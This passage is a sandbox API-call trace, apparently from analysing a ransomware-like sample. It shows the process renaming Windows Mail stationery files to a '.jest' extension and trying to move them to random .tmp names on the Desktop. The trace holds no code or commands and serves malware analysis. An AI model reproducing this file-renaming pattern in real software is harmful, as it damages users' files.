returned 1 [0128.544] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.544] GetTickCount () returned 0x1152904 [0128.544] IsWindowVisible (hWnd=0x30268) returned 0 [0128.544] Sleep (dwMilliseconds=0x0) [0128.545] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.jest")) returned 1 [0128.546] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpFilePart=0x18e6d8*="Stars.htm") returned 0x57 [0128.546] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.546] GetLastError () returned 0x2 [0128.546] VarBstrFromR4 (in: fltIn=0x47944631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.38") returned 0x0 [0128.546] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.546] CoFreeUnusedLibraries () [0128.547] GetTickCount () returned 0x1152904 [0128.547] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.547] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.547] GetTickCount () returned 0x1152904 [0128.547] IsWindowVisible (hWnd=0x30268) returned 0 [0128.547] Sleep (dwMilliseconds=0x0) [0128.547] GetFullPathNameA (in: lpFileName="QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp", lpFilePart=0x18e708*="QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp") returned 0x8f [0128.547] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpFilePart=0x18e708*="Stars.htm") returned 0x57 [0128.548] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qewrmbqmwq ynvc_5ibw0silfeh3blfcmkwmfmyontvhzdwykj_zngbarqqevw1jf53avyykilreoujibm-rny-rg8x7u0grxwri1.tmp")) returned 0 [0128.548] GetLastError () returned 0x2 [0128.548] GetLastError () returned 0x2 [0128.548] SetLastError (dwErrCode=0x2) [0128.548] GetLastError () returned 0x2 [0128.548] SetLastError (dwErrCode=0x2) [0128.548] GetLastError () returned 0x2 [0128.548] SetLastError (dwErrCode=0x2) [0128.548] GetFullPathNameA (in: lpFileName="QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp", lpFilePart=0x18e6e4*="QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp") returned 0x8f [0128.548] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QeWRmBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x52576551, cFileName="mBqMWQ YNVc_5iBw0SILFEH3bLFCMkwmFmyoNTVhzDwykJ_zNGBaRqqeVw1Jf53AVYYkILReOUjibM-rNy-RG8x7U0GRXwrI1.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.548] GetLastError () returned 0x2 [0128.548] GetLastError () returned 0x2 [0128.548] SetLastError (dwErrCode=0x2) [0128.549] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.549] CoFreeUnusedLibraries () [0128.549] GetTickCount () returned 0x1152904 [0128.549] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.549] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.549] GetTickCount () returned 0x1152904 [0128.549] IsWindowVisible (hWnd=0x30268) returned 0 [0128.549] Sleep (dwMilliseconds=0x0) [0128.550] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.jest")) returned 1 [0128.552] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e6d8*="SoftBlue.jpg") returned 0x5a [0128.552] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xe0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.552] GetLastError () returned 0x2 [0128.552] VarBstrFromR4 (in: fltIn=0x47944631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.38") returned 0x0 [0128.552] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.552] CoFreeUnusedLibraries () [0128.552] GetTickCount () returned 0x1152904 [0128.552] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.552] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.552] GetTickCount () returned 0x1152904 [0128.552] IsWindowVisible (hWnd=0x30268) returned 0 [0128.552] Sleep (dwMilliseconds=0x0) [0128.553] GetFullPathNameA (in: lpFileName="AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp", lpFilePart=0x18e708*="AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp") returned 0x8f [0128.553] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e708*="SoftBlue.jpg") returned 0x5a [0128.553] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\adlc_lo 0fznghe5qo6oddhepd lqnnduddjpkzh7i 2wozeq42usb21z06ng9z5juuep8ghoq40qwrrtwqbbfbt3ouo8hydjstvt.tmp")) returned 0 [0128.553] GetLastError () returned 0x2 [0128.553] GetLastError () returned 0x2 [0128.553] SetLastError (dwErrCode=0x2) [0128.553] GetLastError () returned 0x2 [0128.553] SetLastError (dwErrCode=0x2) [0128.554] GetLastError () returned 0x2 [0128.554] SetLastError (dwErrCode=0x2) [0128.554] GetFullPathNameA (in: lpFileName="AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp", lpFilePart=0x18e6e4*="AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp") returned 0x8f [0128.554] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AdLc_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x634c6441, cFileName="_lo 0fznGHE5QO6OddHepd LQNnduDdJPKZH7I 2WOzeQ42uSb21z06NG9Z5jUuEP8GhOQ40QWRRTWQbBFbt3OUo8hYdJstvt.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.554] GetLastError () returned 0x2 [0128.554] GetLastError () returned 0x2 [0128.554] SetLastError (dwErrCode=0x2) [0128.555] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.555] CoFreeUnusedLibraries () [0128.555] GetTickCount () returned 0x1152914 [0128.555] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.555] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.555] GetTickCount () returned 0x1152914 [0128.555] IsWindowVisible (hWnd=0x30268) returned 0 [0128.555] Sleep (dwMilliseconds=0x0) [0128.556] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.jest")) returned 1 [0128.557] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpFilePart=0x18e6d8*="Shades of Blue.htm") returned 0x60 [0128.557] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.557] GetLastError () returned 0x2 [0128.558] VarBstrFromR4 (in: fltIn=0x47944633, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.4") returned 0x0 [0128.558] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.558] CoFreeUnusedLibraries () [0128.558] GetTickCount () returned 0x1152914 [0128.558] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.558] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.558] GetTickCount () returned 0x1152914 [0128.558] IsWindowVisible (hWnd=0x30268) returned 0 [0128.558] Sleep (dwMilliseconds=0x0) [0128.558] GetFullPathNameA (in: lpFileName="l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp", lpFilePart=0x18e708*="l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp") returned 0x8e [0128.559] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpFilePart=0x18e708*="Shades of Blue.htm") returned 0x60 [0128.559] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l3g-hzedppmko9sehx7nikoyaxflmfh-5mv5pzz9edqy0biqng4msznppkvfwpfcwjgief8ljl2qyffnvxlpcmz0jmhelmb9wrwo.tmp")) returned 0 [0128.559] GetLastError () returned 0x2 [0128.559] GetLastError () returned 0x2 [0128.559] SetLastError (dwErrCode=0x2) [0128.559] GetLastError () returned 0x2 [0128.559] SetLastError (dwErrCode=0x2) [0128.559] GetLastError () returned 0x2 [0128.559] SetLastError (dwErrCode=0x2) [0128.559] GetFullPathNameA (in: lpFileName="l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp", lpFilePart=0x18e6e4*="l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp") returned 0x8e [0128.560] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l3g-HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2d67336c, cFileName="HZEDppmko9Sehx7nIKoyAxfLmFh-5Mv5PZz9edQY0biqNG4MSzNppkvFwpfcWjGIeF8ljL2qYfFnVXlPcmz0JmHELMB9WRwO.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.560] GetLastError () returned 0x2 [0128.560] GetLastError () returned 0x2 [0128.560] SetLastError (dwErrCode=0x2) [0128.560] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.560] CoFreeUnusedLibraries () [0128.560] GetTickCount () returned 0x1152914 [0128.560] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.560] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.560] GetTickCount () returned 0x1152914 [0128.560] IsWindowVisible (hWnd=0x30268) returned 0 [0128.560] Sleep (dwMilliseconds=0x0) [0128.561] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.jest")) returned 1 [0128.563] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpFilePart=0x18e6d8*="Soft Blue.htm") returned 0x5b [0128.563] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.564] GetLastError () returned 0x2 [0128.564] VarBstrFromR4 (in: fltIn=0x47944633, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.4") returned 0x0 [0128.564] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.564] CoFreeUnusedLibraries () [0128.564] GetTickCount () returned 0x1152914 [0128.564] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.564] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.564] GetTickCount () returned 0x1152914 [0128.564] IsWindowVisible (hWnd=0x30268) returned 0 [0128.564] Sleep (dwMilliseconds=0x0) [0128.565] GetFullPathNameA (in: lpFileName="LTu-M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LTu-M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp", lpFilePart=0x18e708*="LTu-M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp") returned 0x8f [0128.565] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpFilePart=0x18e708*="Soft Blue.htm") returned 0x5b [0128.565] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LTu-M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ltu-m2o clpkpzko8v2x3szqjzqt5d5awuii-tvd7nec6xw12agcd3lz j l3aqgqw516pjn5jtbudcztypjlureig5pxhq2udt1q.tmp")) returned 0 [0128.566] GetLastError () returned 0x2 [0128.566] GetLastError () returned 0x2 [0128.566] SetLastError (dwErrCode=0x2) [0128.566] GetLastError () returned 0x2 [0128.566] SetLastError (dwErrCode=0x2) [0128.566] GetLastError () returned 0x2 [0128.566] SetLastError (dwErrCode=0x2) [0128.566] GetFullPathNameA (in: lpFileName="LTu-M2o 